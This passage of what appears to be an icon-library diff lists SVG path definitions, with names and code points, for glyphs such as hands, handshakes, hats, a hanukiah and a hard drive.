49.14c16.71 16.71 40.3 21.98 61.61 16.35l28.9 28.9-11.31 11.31c-6.25 6.25-6.25 16.38 0 22.63l22.63 22.63c6.25 6.25 16.38 6.25 22.63 0l90.51-90.51c6.23-6.24 6.23-16.37-.02-22.62zm-286.72-15.2c-3.7-3.7-6.84-7.79-9.85-11.95L19.64 404.96c-25.57 23.88-26.26 64.19-1.53 88.93s65.05 24.05 88.93-1.53l238.13-255.07c-3.96-2.91-7.9-5.87-11.44-9.41l-49.14-49.14z" ], + hamsa: [ 512, 512, [], "f665", "M509.34 307.25C504.28 295.56 492.75 288 480 288h-64V80c0-22-18-40-40-40s-40 18-40 40v134c0 5.52-4.48 10-10 10h-20c-5.52 0-10-4.48-10-10V40c0-22-18-40-40-40s-40 18-40 40v174c0 5.52-4.48 10-10 10h-20c-5.52 0-10-4.48-10-10V80c0-22-18-40-40-40S96 58 96 80v208H32c-12.75 0-24.28 7.56-29.34 19.25a31.966 31.966 0 0 0 5.94 34.58l102.69 110.03C146.97 490.08 199.69 512 256 512s109.03-21.92 144.72-60.14L503.4 341.83a31.966 31.966 0 0 0 5.94-34.58zM256 416c-53.02 0-96-64-96-64s42.98-64 96-64 96 64 96 64-42.98 64-96 64zm0-96c-17.67 0-32 14.33-32 32s14.33 32 32 32 32-14.33 32-32-14.33-32-32-32z" ], + "hand-holding": [ 576, 512, [], "f4bd", "M565.3 328.1c-11.8-10.7-30.2-10-42.6 0L430.3 402c-11.3 9.1-25.4 14-40 14H272c-8.8 0-16-7.2-16-16s7.2-16 16-16h78.3c15.9 0 30.7-10.9 33.3-26.6 3.3-20-12.1-37.4-31.6-37.4H192c-27 0-53.1 9.3-74.1 26.3L71.4 384H16c-8.8 0-16 7.2-16 16v96c0 8.8 7.2 16 16 16h356.8c14.5 0 28.6-4.9 40-14L564 377c15.2-12.1 16.4-35.3 1.3-48.9z" ], + "hand-holding-heart": [ 576, 512, [], "f4be", "M275.3 250.5c7 7.4 18.4 7.4 25.5 0l108.9-114.2c31.6-33.2 29.8-88.2-5.6-118.8-30.8-26.7-76.7-21.9-104.9 7.7L288 36.9l-11.1-11.6C248.7-4.4 202.8-9.2 172 17.5c-35.3 30.6-37.2 85.6-5.6 118.8l108.9 114.2zm290 77.6c-11.8-10.7-30.2-10-42.6 0L430.3 402c-11.3 9.1-25.4 14-40 14H272c-8.8 0-16-7.2-16-16s7.2-16 16-16h78.3c15.9 0 30.7-10.9 33.3-26.6 3.3-20-12.1-37.4-31.6-37.4H192c-27 0-53.1 9.3-74.1 26.3L71.4 384H16c-8.8 0-16 7.2-16 16v96c0 8.8 7.2 16 16 16h356.8c14.5 0 28.6-4.9 40-14L564 377c15.2-12.1 16.4-35.3 1.3-48.9z" ], + "hand-holding-medical": [ 576, 512, [], "e05c", "M159.88,175.82h64v64a16,16,0,0,0,16,16h64a16,16,0,0,0,16-16v-64h64a16,16,0,0,0,16-16v-64a16,16,0,0,0-16-16h-64v-64a16,16,0,0,0-16-16h-64a16,16,0,0,0-16,16v64h-64a16,16,0,0,0-16,16v64A16,16,0,0,0,159.88,175.82ZM568.07,336.13a39.91,39.91,0,0,0-55.93-8.47L392.47,415.84H271.86a16,16,0,0,1,0-32H350.1c16,0,30.75-10.87,33.37-26.61a32.06,32.06,0,0,0-31.62-37.38h-160a117.7,117.7,0,0,0-74.12,26.25l-46.5,37.74H15.87a16.11,16.11,0,0,0-16,16v96a16.11,16.11,0,0,0,16,16h347a104.8,104.8,0,0,0,61.7-20.27L559.6,392A40,40,0,0,0,568.07,336.13Z" ], + "hand-holding-usd": [ 576, 512, [], "f4c0", "M271.06,144.3l54.27,14.3a8.59,8.59,0,0,1,6.63,8.1c0,4.6-4.09,8.4-9.12,8.4h-35.6a30,30,0,0,1-11.19-2.2c-5.24-2.2-11.28-1.7-15.3,2l-19,17.5a11.68,11.68,0,0,0-2.25,2.66,11.42,11.42,0,0,0,3.88,15.74,83.77,83.77,0,0,0,34.51,11.5V240c0,8.8,7.83,16,17.37,16h17.37c9.55,0,17.38-7.2,17.38-16V222.4c32.93-3.6,57.84-31,53.5-63-3.15-23-22.46-41.3-46.56-47.7L282.68,97.4a8.59,8.59,0,0,1-6.63-8.1c0-4.6,4.09-8.4,9.12-8.4h35.6A30,30,0,0,1,332,83.1c5.23,2.2,11.28,1.7,15.3-2l19-17.5A11.31,11.31,0,0,0,368.47,61a11.43,11.43,0,0,0-3.84-15.78,83.82,83.82,0,0,0-34.52-11.5V16c0-8.8-7.82-16-17.37-16H295.37C285.82,0,278,7.2,278,16V33.6c-32.89,3.6-57.85,31-53.51,63C227.63,119.6,247,137.9,271.06,144.3ZM565.27,328.1c-11.8-10.7-30.2-10-42.6,0L430.27,402a63.64,63.64,0,0,1-40,14H272a16,16,0,0,1,0-32h78.29c15.9,0,30.71-10.9,33.25-26.6a31.2,31.2,0,0,0,.46-5.46A32,32,0,0,0,352,320H192a117.66,117.66,0,0,0-74.1,26.29L71.4,384H16A16,16,0,0,0,0,400v96a16,16,0,0,0,16,16H372.77a64,64,0,0,0,40-14L564,377a32,32,0,0,0,1.28-48.9Z" ], + "hand-holding-water": [ 576, 512, [], "f4c1", "M288 256c53 0 96-42.1 96-94 0-40-57.1-120.7-83.2-155.6-6.4-8.5-19.2-8.5-25.6 0C249.1 41.3 192 122 192 162c0 51.9 43 94 96 94zm277.3 72.1c-11.8-10.7-30.2-10-42.6 0L430.3 402c-11.3 9.1-25.4 14-40 14H272c-8.8 0-16-7.2-16-16s7.2-16 16-16h78.3c15.9 0 30.7-10.9 33.3-26.6 3.3-20-12.1-37.4-31.6-37.4H192c-27 0-53.1 9.3-74.1 26.3L71.4 384H16c-8.8 0-16 7.2-16 16v96c0 8.8 7.2 16 16 16h356.8c14.5 0 28.6-4.9 40-14L564 377c15.2-12.1 16.4-35.3 1.3-48.9z" ], + "hand-lizard": [ 576, 512, [], "f258", "M384 480h192V363.778a95.998 95.998 0 0 0-14.833-51.263L398.127 54.368A48 48 0 0 0 357.544 32H24C10.745 32 0 42.745 0 56v16c0 30.928 25.072 56 56 56h229.981c12.844 0 21.556 13.067 16.615 24.923l-21.41 51.385A32 32 0 0 1 251.648 224H128c-35.346 0-64 28.654-64 64v8c0 13.255 10.745 24 24 24h147.406a47.995 47.995 0 0 1 25.692 7.455l111.748 70.811A24.001 24.001 0 0 1 384 418.539V480z" ], + "hand-middle-finger": [ 512, 512, [], "f806", "M479.93 317.12a37.33 37.33 0 0 0-28.28-36.19L416 272v-49.59c0-11.44-9.69-21.29-23.15-23.54l-38.4-6.4C336.63 189.5 320 200.86 320 216v32a8 8 0 0 1-16 0V50c0-26.28-20.25-49.2-46.52-50A48 48 0 0 0 208 48v200a8 8 0 0 1-16 0v-32c0-15.15-16.63-26.51-34.45-23.54l-30.68 5.12c-18 3-30.87 16.12-30.87 31.38V376a8 8 0 0 1-16 0v-76l-27.36 15A37.34 37.34 0 0 0 32 348.4v73.47a37.31 37.31 0 0 0 10.93 26.39l30.93 30.93A112 112 0 0 0 153.05 512h215A112 112 0 0 0 480 400z" ], + "hand-paper": [ 448, 512, [], "f256", "M408.781 128.007C386.356 127.578 368 146.36 368 168.79V256h-8V79.79c0-22.43-18.356-41.212-40.781-40.783C297.488 39.423 280 57.169 280 79v177h-8V40.79C272 18.36 253.644-.422 231.219.007 209.488.423 192 18.169 192 40v216h-8V80.79c0-22.43-18.356-41.212-40.781-40.783C121.488 40.423 104 58.169 104 80v235.992l-31.648-43.519c-12.993-17.866-38.009-21.817-55.877-8.823-17.865 12.994-21.815 38.01-8.822 55.877l125.601 172.705A48 48 0 0 0 172.073 512h197.59c22.274 0 41.622-15.324 46.724-37.006l26.508-112.66a192.011 192.011 0 0 0 5.104-43.975V168c.001-21.831-17.487-39.577-39.218-39.993z" ], + "hand-peace": [ 448, 512, [], "f25b", "M408 216c-22.092 0-40 17.909-40 40h-8v-32c0-22.091-17.908-40-40-40s-40 17.909-40 40v32h-8V48c0-26.51-21.49-48-48-48s-48 21.49-48 48v208h-13.572L92.688 78.449C82.994 53.774 55.134 41.63 30.461 51.324 5.787 61.017-6.356 88.877 3.337 113.551l74.765 190.342-31.09 24.872c-15.381 12.306-19.515 33.978-9.741 51.081l64 112A39.998 39.998 0 0 0 136 512h240c18.562 0 34.686-12.77 38.937-30.838l32-136A39.97 39.97 0 0 0 448 336v-80c0-22.091-17.908-40-40-40z" ], + "hand-point-down": [ 384, 512, [], "f0a7", "M91.826 467.2V317.966c-8.248 5.841-16.558 10.57-24.918 14.153C35.098 345.752-.014 322.222 0 288c.008-18.616 10.897-32.203 29.092-40 28.286-12.122 64.329-78.648 77.323-107.534 7.956-17.857 25.479-28.453 43.845-28.464l.001-.002h171.526c11.812 0 21.897 8.596 23.703 20.269 7.25 46.837 38.483 61.76 38.315 123.731-.007 2.724.195 13.254.195 16 0 50.654-22.122 81.574-71.263 72.6-9.297 18.597-39.486 30.738-62.315 16.45-21.177 24.645-53.896 22.639-70.944 6.299V467.2c0 24.15-20.201 44.8-43.826 44.8-23.283 0-43.826-21.35-43.826-44.8zM112 72V24c0-13.255 10.745-24 24-24h192c13.255 0 24 10.745 24 24v48c0 13.255-10.745 24-24 24H136c-13.255 0-24-10.745-24-24zm212-24c0-11.046-8.954-20-20-20s-20 8.954-20 20 8.954 20 20 20 20-8.954 20-20z" ], + "hand-point-left": [ 512, 512, [], "f0a5", "M44.8 155.826h149.234c-5.841-8.248-10.57-16.558-14.153-24.918C166.248 99.098 189.778 63.986 224 64c18.616.008 32.203 10.897 40 29.092 12.122 28.286 78.648 64.329 107.534 77.323 17.857 7.956 28.453 25.479 28.464 43.845l.002.001v171.526c0 11.812-8.596 21.897-20.269 23.703-46.837 7.25-61.76 38.483-123.731 38.315-2.724-.007-13.254.195-16 .195-50.654 0-81.574-22.122-72.6-71.263-18.597-9.297-30.738-39.486-16.45-62.315-24.645-21.177-22.639-53.896-6.299-70.944H44.8c-24.15 0-44.8-20.201-44.8-43.826 0-23.283 21.35-43.826 44.8-43.826zM440 176h48c13.255 0 24 10.745 24 24v192c0 13.255-10.745 24-24 24h-48c-13.255 0-24-10.745-24-24V200c0-13.255 10.745-24 24-24zm24 212c11.046 0 20-8.954 20-20s-8.954-20-20-20-20 8.954-20 20 8.954 20 20 20z" ], + "hand-point-right": [ 512, 512, [], "f0a4", "M512 199.652c0 23.625-20.65 43.826-44.8 43.826h-99.851c16.34 17.048 18.346 49.766-6.299 70.944 14.288 22.829 2.147 53.017-16.45 62.315C353.574 425.878 322.654 448 272 448c-2.746 0-13.276-.203-16-.195-61.971.168-76.894-31.065-123.731-38.315C120.596 407.683 112 397.599 112 385.786V214.261l.002-.001c.011-18.366 10.607-35.889 28.464-43.845 28.886-12.994 95.413-49.038 107.534-77.323 7.797-18.194 21.384-29.084 40-29.092 34.222-.014 57.752 35.098 44.119 66.908-3.583 8.359-8.312 16.67-14.153 24.918H467.2c23.45 0 44.8 20.543 44.8 43.826zM96 200v192c0 13.255-10.745 24-24 24H24c-13.255 0-24-10.745-24-24V200c0-13.255 10.745-24 24-24h48c13.255 0 24 10.745 24 24zM68 368c0-11.046-8.954-20-20-20s-20 8.954-20 20 8.954 20 20 20 20-8.954 20-20z" ], + "hand-point-up": [ 384, 512, [], "f0a6", "M135.652 0c23.625 0 43.826 20.65 43.826 44.8v99.851c17.048-16.34 49.766-18.346 70.944 6.299 22.829-14.288 53.017-2.147 62.315 16.45C361.878 158.426 384 189.346 384 240c0 2.746-.203 13.276-.195 16 .168 61.971-31.065 76.894-38.315 123.731C343.683 391.404 333.599 400 321.786 400H150.261l-.001-.002c-18.366-.011-35.889-10.607-43.845-28.464C93.421 342.648 57.377 276.122 29.092 264 10.897 256.203.008 242.616 0 224c-.014-34.222 35.098-57.752 66.908-44.119 8.359 3.583 16.67 8.312 24.918 14.153V44.8c0-23.45 20.543-44.8 43.826-44.8zM136 416h192c13.255 0 24 10.745 24 24v48c0 13.255-10.745 24-24 24H136c-13.255 0-24-10.745-24-24v-48c0-13.255 10.745-24 24-24zm168 28c-11.046 0-20 8.954-20 20s8.954 20 20 20 20-8.954 20-20-8.954-20-20-20z" ], + "hand-pointer": [ 448, 512, [], "f25a", "M448 240v96c0 3.084-.356 6.159-1.063 9.162l-32 136C410.686 499.23 394.562 512 376 512H168a40.004 40.004 0 0 1-32.35-16.473l-127.997-176c-12.993-17.866-9.043-42.883 8.822-55.876 17.867-12.994 42.884-9.043 55.877 8.823L104 315.992V40c0-22.091 17.908-40 40-40s40 17.909 40 40v200h8v-40c0-22.091 17.908-40 40-40s40 17.909 40 40v40h8v-24c0-22.091 17.908-40 40-40s40 17.909 40 40v24h8c0-22.091 17.908-40 40-40s40 17.909 40 40zm-256 80h-8v96h8v-96zm88 0h-8v96h8v-96zm88 0h-8v96h8v-96z" ], + "hand-rock": [ 512, 512, [], "f255", "M464.8 80c-26.9-.4-48.8 21.2-48.8 48h-8V96.8c0-26.3-20.9-48.3-47.2-48.8-26.9-.4-48.8 21.2-48.8 48v32h-8V80.8c0-26.3-20.9-48.3-47.2-48.8-26.9-.4-48.8 21.2-48.8 48v48h-8V96.8c0-26.3-20.9-48.3-47.2-48.8-26.9-.4-48.8 21.2-48.8 48v136l-8-7.1v-48.1c0-26.3-20.9-48.3-47.2-48.8C21.9 127.6 0 149.2 0 176v66.4c0 27.4 11.7 53.5 32.2 71.8l111.7 99.3c10.2 9.1 16.1 22.2 16.1 35.9v6.7c0 13.3 10.7 24 24 24h240c13.3 0 24-10.7 24-24v-2.9c0-12.8 2.6-25.5 7.5-37.3l49-116.3c5-11.8 7.5-24.5 7.5-37.3V128.8c0-26.3-20.9-48.4-47.2-48.8z" ], + "hand-scissors": [ 512, 512, [], "f257", "M216 440c0-22.092 17.909-40 40-40v-8h-32c-22.091 0-40-17.908-40-40s17.909-40 40-40h32v-8H48c-26.51 0-48-21.49-48-48s21.49-48 48-48h208v-13.572l-177.551-69.74c-24.674-9.694-36.818-37.555-27.125-62.228 9.693-24.674 37.554-36.817 62.228-27.124l190.342 74.765 24.872-31.09c12.306-15.381 33.978-19.515 51.081-9.741l112 64A40.002 40.002 0 0 1 512 168v240c0 18.562-12.77 34.686-30.838 38.937l-136 32A39.982 39.982 0 0 1 336 480h-80c-22.091 0-40-17.908-40-40z" ], + "hand-sparkles": [ 640, 512, [], "e05d", "M106.66,170.64l.09,0,49.55-20.65a7.32,7.32,0,0,0,3.68-6h0a7.29,7.29,0,0,0-3.68-6l-49.57-20.67-.07,0L86,67.68a6.66,6.66,0,0,0-11.92,0l-20.7,49.63-.05,0L3.7,138A7.29,7.29,0,0,0,0,144H0a7.32,7.32,0,0,0,3.68,6L53.27,170.6l.07,0L74,220.26a6.65,6.65,0,0,0,11.92,0l20.69-49.62ZM471.38,467.41l-1-.42-1-.5a38.67,38.67,0,0,1,0-69.14l1-.49,1-.43,37.49-15.63,15.63-37.48.41-1,.47-.95c3.85-7.74,10.58-13.63,18.35-17.34,0-1.33.25-2.69.27-4V144a32,32,0,0,0-64,0v72a8,8,0,0,1-8,8H456a8,8,0,0,1-8-8V64a32,32,0,0,0-64,0V216a8,8,0,0,1-8,8H360a8,8,0,0,1-8-8V32a32,32,0,0,0-64,0V216a8,8,0,0,1-8,8H264a8,8,0,0,1-8-8V64a32,32,0,0,0-64,0v241l-23.59-32.49a40,40,0,0,0-64.71,47.09L229.3,492.21A48.07,48.07,0,0,0,268.09,512H465.7c19.24,0,35.65-11.73,43.24-28.79l-.07-.17ZM349.79,339.52,320,351.93l-12.42,29.78a4,4,0,0,1-7.15,0L288,351.93l-29.79-12.41a4,4,0,0,1,0-7.16L288,319.94l12.42-29.78a4,4,0,0,1,7.15,0L320,319.94l29.79,12.42a4,4,0,0,1,0,7.16ZM640,431.91a7.28,7.28,0,0,0-3.68-6l-49.57-20.67-.07,0L566,355.63a6.66,6.66,0,0,0-11.92,0l-20.7,49.63-.05,0L483.7,426a7.28,7.28,0,0,0-3.68,6h0a7.29,7.29,0,0,0,3.68,5.95l49.57,20.67.07,0L554,508.21a6.65,6.65,0,0,0,11.92,0l20.69-49.62h0l.09,0,49.55-20.66a7.29,7.29,0,0,0,3.68-5.95h0Z" ], + "hand-spock": [ 512, 512, [], "f259", "M510.9005,145.27027,442.604,432.09391A103.99507,103.99507,0,0,1,341.43745,512H214.074a135.96968,135.96968,0,0,1-93.18489-36.95291L12.59072,373.12723a39.992,39.992,0,0,1,54.8122-58.24988l60.59342,57.02528v0a283.24849,283.24849,0,0,0-11.6703-80.46734L73.63726,147.36011a40.00575,40.00575,0,1,1,76.71833-22.7187l37.15458,125.39477a8.33113,8.33113,0,0,0,16.05656-4.4414L153.26183,49.95406A39.99638,39.99638,0,1,1,230.73015,30.0166l56.09491,218.15825a10.42047,10.42047,0,0,0,20.30018-.501L344.80766,63.96966a40.052,40.052,0,0,1,51.30245-30.0893c19.86073,6.2998,30.86262,27.67378,26.67564,48.08487l-33.83869,164.966a7.55172,7.55172,0,0,0,14.74406,3.2666l29.3973-123.45874a39.99414,39.99414,0,1,1,77.81208,18.53121Z" ], + hands: [ 640, 512, [], "f4c2", "M204.8 230.4c-10.6-14.1-30.7-17-44.8-6.4-14.1 10.6-17 30.7-6.4 44.8l38.1 50.8c4.8 6.4 4.1 15.3-1.5 20.9l-12.8 12.8c-6.7 6.7-17.6 6.2-23.6-1.1L64 244.4V96c0-17.7-14.3-32-32-32S0 78.3 0 96v218.4c0 10.9 3.7 21.5 10.5 30l104.1 134.3c5 6.5 8.4 13.9 10.4 21.7 1.8 6.9 8.1 11.6 15.3 11.6H272c8.8 0 16-7.2 16-16V384c0-27.7-9-54.6-25.6-76.8l-57.6-76.8zM608 64c-17.7 0-32 14.3-32 32v148.4l-89.8 107.8c-6 7.2-17 7.7-23.6 1.1l-12.8-12.8c-5.6-5.6-6.3-14.5-1.5-20.9l38.1-50.8c10.6-14.1 7.7-34.2-6.4-44.8-14.1-10.6-34.2-7.7-44.8 6.4l-57.6 76.8C361 329.4 352 356.3 352 384v112c0 8.8 7.2 16 16 16h131.7c7.1 0 13.5-4.7 15.3-11.6 2-7.8 5.4-15.2 10.4-21.7l104.1-134.3c6.8-8.5 10.5-19.1 10.5-30V96c0-17.7-14.3-32-32-32z" ], + "hands-helping": [ 640, 512, [], "f4c4", "M488 192H336v56c0 39.7-32.3 72-72 72s-72-32.3-72-72V126.4l-64.9 39C107.8 176.9 96 197.8 96 220.2v47.3l-80 46.2C.7 322.5-4.6 342.1 4.3 357.4l80 138.6c8.8 15.3 28.4 20.5 43.7 11.7L231.4 448H368c35.3 0 64-28.7 64-64h16c17.7 0 32-14.3 32-32v-64h8c13.3 0 24-10.7 24-24v-48c0-13.3-10.7-24-24-24zm147.7-37.4L555.7 16C546.9.7 527.3-4.5 512 4.3L408.6 64H306.4c-12 0-23.7 3.4-33.9 9.7L239 94.6c-9.4 5.8-15 16.1-15 27.1V248c0 22.1 17.9 40 40 40s40-17.9 40-40v-88h184c30.9 0 56 25.1 56 56v28.5l80-46.2c15.3-8.9 20.5-28.4 11.7-43.7z" ], + "hands-wash": [ 576, 512, [], "e05e", "M496,224a48,48,0,1,0-48-48A48,48,0,0,0,496,224ZM311.47,178.45A56.77,56.77,0,0,1,328,176a56,56,0,0,1,19,3.49l15.35-48.61A24,24,0,0,0,342,99.74c-11.53-1.35-22.21,6.44-25.71,17.51l-20.9,66.17ZM93.65,386.33c.8-.19,1.54-.54,2.35-.71V359.93a156,156,0,0,1,107.06-148l73.7-22.76L310.92,81.05a24,24,0,0,0-20.33-31.11c-11.53-1.34-22.22,6.45-25.72,17.52L231.42,173.88a8,8,0,0,1-15.26-4.83L259.53,31.26A24,24,0,0,0,239.2.15C227.67-1.19,217,6.6,213.49,17.66L165.56,169.37a8,8,0,1,1-15.26-4.82l38.56-122a24,24,0,0,0-20.33-31.11C157,10,146.32,17.83,142.82,28.9l-60,189.85L80.76,168.7A24,24,0,0,0,56.9,144.55c-13.23-.05-24.72,10.54-24.9,23.86V281.14A123.69,123.69,0,0,0,93.65,386.33ZM519.1,336H360a8,8,0,0,1,0-16H488a24,24,0,0,0,23.54-28.76C509.35,279.84,498.71,272,487.1,272H288l47.09-17.06a24,24,0,0,0-14.18-45.88L213.19,242.31A123.88,123.88,0,0,0,128,360v25.65a79.78,79.78,0,0,1,58,108.63A118.9,118.9,0,0,0,248,512H456a24,24,0,0,0,23.54-28.76C477.35,471.84,466.71,464,455.1,464H360a8,8,0,0,1,0-16H488a24,24,0,0,0,23.54-28.76C509.35,407.84,498.71,400,487.1,400H360a8,8,0,0,1,0-16H520a24,24,0,0,0,23.54-28.76C541.35,343.84,530.71,336,519.1,336ZM416,64a32,32,0,1,0-32-32A32,32,0,0,0,416,64ZM112,416a48,48,0,1,0,48,48A48,48,0,0,0,112,416Z" ], + handshake: [ 640, 512, [], "f2b5", "M434.7 64h-85.9c-8 0-15.7 3-21.6 8.4l-98.3 90c-.1.1-.2.3-.3.4-16.6 15.6-16.3 40.5-2.1 56 12.7 13.9 39.4 17.6 56.1 2.7.1-.1.3-.1.4-.2l79.9-73.2c6.5-5.9 16.7-5.5 22.6 1 6 6.5 5.5 16.6-1 22.6l-26.1 23.9L504 313.8c2.9 2.4 5.5 5 7.9 7.7V128l-54.6-54.6c-5.9-6-14.1-9.4-22.6-9.4zM544 128.2v223.9c0 17.7 14.3 32 32 32h64V128.2h-96zm48 223.9c-8.8 0-16-7.2-16-16s7.2-16 16-16 16 7.2 16 16-7.2 16-16 16zM0 384h64c17.7 0 32-14.3 32-32V128.2H0V384zm48-63.9c8.8 0 16 7.2 16 16s-7.2 16-16 16-16-7.2-16-16c0-8.9 7.2-16 16-16zm435.9 18.6L334.6 217.5l-30 27.5c-29.7 27.1-75.2 24.5-101.7-4.4-26.9-29.4-24.8-74.9 4.4-101.7L289.1 64h-83.8c-8.5 0-16.6 3.4-22.6 9.4L128 128v223.9h18.3l90.5 81.9c27.4 22.3 67.7 18.1 90-9.3l.2-.2 17.9 15.5c15.9 13 39.4 10.5 52.3-5.4l31.4-38.6 5.4 4.4c13.7 11.1 33.9 9.1 45-4.7l9.5-11.7c11.2-13.8 9.1-33.9-4.6-45.1z" ], + "handshake-alt-slash": [ 640, 512, [], "e05f", "M358.59,195.6,504.2,313.8a63.4,63.4,0,0,1,22.21,37.91H624a16.05,16.05,0,0,0,16-16V143.91A16,16,0,0,0,624,128H512L457.41,73.41A32,32,0,0,0,434.8,64H348.91a32,32,0,0,0-21.61,8.41l-88.12,80.68-25.69-19.85L289.09,64H205.3a32,32,0,0,0-22.6,9.41l-20.34,20.3L45.47,3.38A16,16,0,0,0,23,6.19L3.38,31.46A16,16,0,0,0,6.19,53.91L594.54,508.63A16,16,0,0,0,617,505.82l19.64-25.27a16,16,0,0,0-2.81-22.45L303.4,202.72l32.69-29.92,27-24.7a16,16,0,0,1,21.61,23.61ZM16,128A16.05,16.05,0,0,0,0,144V335.91a16,16,0,0,0,16,16H146.3l90.5,81.89a64,64,0,0,0,90-9.3l.2-.2,17.91,15.5a37.16,37.16,0,0,0,52.29-5.39l8.8-10.82L23.56,128Z" ], + "handshake-slash": [ 640, 512, [], "e060", "M0,128.21V384H64a32,32,0,0,0,32-32V184L23.83,128.21ZM48,320.1a16,16,0,1,1-16,16A16,16,0,0,1,48,320.1Zm80,31.81h18.3l90.5,81.89a64,64,0,0,0,90-9.3l.2-.2,17.91,15.5a37.16,37.16,0,0,0,52.29-5.39l8.8-10.82L128,208.72Zm416-223.7V352.1a32,32,0,0,0,32,32h64V128.21ZM592,352.1a16,16,0,1,1,16-16A16,16,0,0,1,592,352.1ZM303.33,202.67l59.58-54.57a16,16,0,0,1,21.59,23.61L358.41,195.6,504,313.8a73.08,73.08,0,0,1,7.91,7.7V128L457.3,73.41A31.76,31.76,0,0,0,434.7,64H348.8a31.93,31.93,0,0,0-21.6,8.41l-88.07,80.64-25.64-19.81L289.09,64H205.3a32,32,0,0,0-22.6,9.41L162.36,93.72,45.47,3.38A16,16,0,0,0,23,6.19L3.38,31.46A16,16,0,0,0,6.19,53.91L594.53,508.63A16,16,0,0,0,617,505.82l19.65-25.27a16,16,0,0,0-2.82-22.45Z" ], + hanukiah: [ 640, 512, [], "f6e6", "M232 160c-4.42 0-8 3.58-8 8v120h32V168c0-4.42-3.58-8-8-8h-16zm-64 0c-4.42 0-8 3.58-8 8v120h32V168c0-4.42-3.58-8-8-8h-16zm224 0c-4.42 0-8 3.58-8 8v120h32V168c0-4.42-3.58-8-8-8h-16zm64 0c-4.42 0-8 3.58-8 8v120h32V168c0-4.42-3.58-8-8-8h-16zm88 8c0-4.42-3.58-8-8-8h-16c-4.42 0-8 3.58-8 8v120h32V168zm-440-8c-4.42 0-8 3.58-8 8v120h32V168c0-4.42-3.58-8-8-8h-16zm520 0h-32c-8.84 0-16 7.16-16 16v112c0 17.67-14.33 32-32 32H352V128c0-8.84-7.16-16-16-16h-32c-8.84 0-16 7.16-16 16v192H96c-17.67 0-32-14.33-32-32V176c0-8.84-7.16-16-16-16H16c-8.84 0-16 7.16-16 16v112c0 53.02 42.98 96 96 96h192v64H112c-8.84 0-16 7.16-16 16v32c0 8.84 7.16 16 16 16h416c8.84 0 16-7.16 16-16v-32c0-8.84-7.16-16-16-16H352v-64h192c53.02 0 96-42.98 96-96V176c0-8.84-7.16-16-16-16zm-16-32c13.25 0 24-11.94 24-26.67S608 48 608 48s-24 38.61-24 53.33S594.75 128 608 128zm-576 0c13.25 0 24-11.94 24-26.67S32 48 32 48 8 86.61 8 101.33 18.75 128 32 128zm288-48c13.25 0 24-11.94 24-26.67S320 0 320 0s-24 38.61-24 53.33S306.75 80 320 80zm-208 48c13.25 0 24-11.94 24-26.67S112 48 112 48s-24 38.61-24 53.33S98.75 128 112 128zm64 0c13.25 0 24-11.94 24-26.67S176 48 176 48s-24 38.61-24 53.33S162.75 128 176 128zm64 0c13.25 0 24-11.94 24-26.67S240 48 240 48s-24 38.61-24 53.33S226.75 128 240 128zm160 0c13.25 0 24-11.94 24-26.67S400 48 400 48s-24 38.61-24 53.33S386.75 128 400 128zm64 0c13.25 0 24-11.94 24-26.67S464 48 464 48s-24 38.61-24 53.33S450.75 128 464 128zm64 0c13.25 0 24-11.94 24-26.67S528 48 528 48s-24 38.61-24 53.33S514.75 128 528 128z" ], + "hard-hat": [ 512, 512, [], "f807", "M480 288c0-80.25-49.28-148.92-119.19-177.62L320 192V80a16 16 0 0 0-16-16h-96a16 16 0 0 0-16 16v112l-40.81-81.62C81.28 139.08 32 207.75 32 288v64h448zm16 96H16a16 16 0 0 0-16 16v32a16 16 0 0 0 16 16h480a16 16 0 0 0 16-16v-32a16 16 0 0 0-16-16z" ], + hashtag: [ 448, 512, [], "f292", "M440.667 182.109l7.143-40c1.313-7.355-4.342-14.109-11.813-14.109h-74.81l14.623-81.891C377.123 38.754 371.468 32 363.997 32h-40.632a12 12 0 0 0-11.813 9.891L296.175 128H197.54l14.623-81.891C213.477 38.754 207.822 32 200.35 32h-40.632a12 12 0 0 0-11.813 9.891L132.528 128H53.432a12 12 0 0 0-11.813 9.891l-7.143 40C33.163 185.246 38.818 192 46.289 192h74.81L98.242 320H19.146a12 12 0 0 0-11.813 9.891l-7.143 40C-1.123 377.246 4.532 384 12.003 384h74.81L72.19 465.891C70.877 473.246 76.532 480 84.003 480h40.632a12 12 0 0 0 11.813-9.891L151.826 384h98.634l-14.623 81.891C234.523 473.246 240.178 480 247.65 480h40.632a12 12 0 0 0 11.813-9.891L315.472 384h79.096a12 12 0 0 0 11.813-9.891l7.143-40c1.313-7.355-4.342-14.109-11.813-14.109h-74.81l22.857-128h79.096a12 12 0 0 0 11.813-9.891zM261.889 320h-98.634l22.857-128h98.634l-22.857 128z" ], + "hat-cowboy": [ 640, 512, [], "f8c0", "M490 296.9C480.51 239.51 450.51 64 392.3 64c-14 0-26.49 5.93-37 14a58.21 58.21 0 0 1-70.58 0c-10.51-8-23-14-37-14-58.2 0-88.2 175.47-97.71 232.88C188.81 309.47 243.73 320 320 320s131.23-10.51 170-23.1zm142.9-37.18a16 16 0 0 0-19.75 1.5c-1 .9-101.27 90.78-293.16 90.78-190.82 0-292.22-89.94-293.24-90.84A16 16 0 0 0 1 278.53C1.73 280.55 78.32 480 320 480s318.27-199.45 319-201.47a16 16 0 0 0-6.09-18.81z" ], + "hat-cowboy-side": [ 640, 512, [], "f8c1", "M260.8 291.06c-28.63-22.94-62-35.06-96.4-35.06C87 256 21.47 318.72 1.43 412.06c-3.55 16.6-.43 33.83 8.57 47.3C18.75 472.47 31.83 480 45.88 480H592c-103.21 0-155-37.07-233.19-104.46zm234.65-18.29L468.4 116.2A64 64 0 0 0 392 64.41L200.85 105a64 64 0 0 0-50.35 55.79L143.61 226c6.9-.83 13.7-2 20.79-2 41.79 0 82 14.55 117.29 42.82l98 84.48C450.76 412.54 494.9 448 592 448a48 48 0 0 0 48-48c0-25.39-29.6-119.33-144.55-127.23z" ], + "hat-wizard": [ 512, 512, [], "f6e8", "M496 448H16c-8.84 0-16 7.16-16 16v32c0 8.84 7.16 16 16 16h480c8.84 0 16-7.16 16-16v-32c0-8.84-7.16-16-16-16zm-304-64l-64-32 64-32 32-64 32 64 64 32-64 32-16 32h208l-86.41-201.63a63.955 63.955 0 0 1-1.89-45.45L416 0 228.42 107.19a127.989 127.989 0 0 0-53.46 59.15L64 416h144l-16-32zm64-224l16-32 16 32 32 16-32 16-16 32-16-32-32-16 32-16z" ], + hdd: [ 576, 512, [], "f0a0", "M576 304v96c0 26.51-21.49 48-48 48H48c-26.51 0-48-21.49-48-48v-96c0-26.51 21.49-48 48-48h480c26.51 0 48 21.49 48 48zm-48-80a79.557 